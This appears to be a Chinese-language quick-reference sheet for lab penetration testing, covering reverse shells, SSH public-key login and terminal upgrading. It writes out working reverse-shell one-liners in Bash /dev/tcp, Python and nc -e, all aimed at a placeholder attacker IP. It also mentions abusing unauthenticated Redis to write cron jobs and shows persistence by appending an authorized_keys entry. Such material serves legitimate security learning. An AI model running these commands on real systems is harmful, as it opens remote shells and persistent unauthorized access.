Linux 反弹 Shell 与 SSH 免密速查
整理常见反弹 Shell、SSH 公钥认证和交互式终端优化命令,作为内网学习时的快速参考。
一、反弹 Shell 基础
反弹 Shell 是目标机主动向控制端发起连接,把 Shell 输入输出转发到该连接中,常用于目标无法被外部直接连接的场景。
控制端先监听端口:
nc -lvnp 4444
参数含义:-l 监听、-v 显示详细信息、-n 不解析 DNS、-p 指定端口。
二、常见方式
下面的 <攻击机IP> 和 4444 需要替换为自己的实验环境配置。
Bash
/bin/bash -i >& /dev/tcp/<攻击机IP>/4444 0>&1
Python
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击机IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Netcat
目标环境中的 nc 如果支持 -e,可以使用:
nc -e /bin/bash <攻击机IP> 4444
不同发行版的 Netcat 参数可能不同,-e 不一定存在。
三、Redis Cron 方式中的反弹 Shell
在合法靶场中,Redis 未授权访问可能被用于写入 Cron。连接 Redis 的示例:
redis-cli -h <目标IP>
随后根据目标系统的 Cron 路径和格式进行验证。Cron 路径、Redis 运行权限和出站网络都需要先确认,不能直接套用固定路径。
四、SSH 公钥免密登录
1. 生成密钥对
ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519
如果文件已存在,可以选择新的文件名,或者先确认不会覆盖已有私钥。
2. 自动部署公钥
ssh-copy-id -i ~/.ssh/id_ed25519.pub <用户>@<目标IP>
执行后输入一次目标账户密码,工具会自动把公钥追加到目标用户的 ~/.ssh/authorized_keys。然后验证:
ssh -i ~/.ssh/id_ed25519 <用户>@<目标IP>
ssh-copy-id 需要目标 SSH 已开启,并且当前已经有一次可用的登录凭证。它不是绕过 SSH 认证的工具。
3. 手动添加公钥
先在控制端查看公钥:
cat ~/.ssh/id_ed25519.pub
在目标机已有 Shell 的前提下,创建目录并追加公钥。将下面的占位内容替换为整行公钥:
mkdir -p ~/.ssh
printf '%s\n' 'ssh-ed25519 AAAA...你的公钥... comment' >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys
检查文件内容:
tail -n 1 ~/.ssh/authorized_keys
再回到控制端验证登录:
ssh -i ~/.ssh/id_ed25519 <用户>@<目标IP>
SSH 公钥认证的准确理解是:私钥用于签名,服务器使用公钥验证签名,而不是简单的“公钥加密、私钥解密”。
五、交互式终端优化
部分反弹 Shell 缺少 Tab 补全和快捷键,可以在目标环境支持 Python 时尝试:
python3 -c 'import pty; pty.spawn("/bin/bash")'
再根据终端情况恢复交互:
stty raw -echo; fg
export TERM=xterm
六、小 Tips
- 先确认监听地址、端口和网络方向,很多失败不是命令错误,而是目标无法连接控制端。
- Bash 的
/dev/tcp、Python、Netcat 是否可用,取决于目标环境中的组件和编译选项。 - 反弹 Shell 和 SSH 免密是两类不同能力:前者依赖主动连接,后者依赖密钥认证。
- 只在自己拥有权限的靶场、实验机或授权测试环境中验证这些命令。
使用工具
Netcat
用于监听反弹连接,或在目标环境具备相应参数时建立连接。
OpenSSH
用于生成密钥、部署公钥并验证 SSH 密钥认证。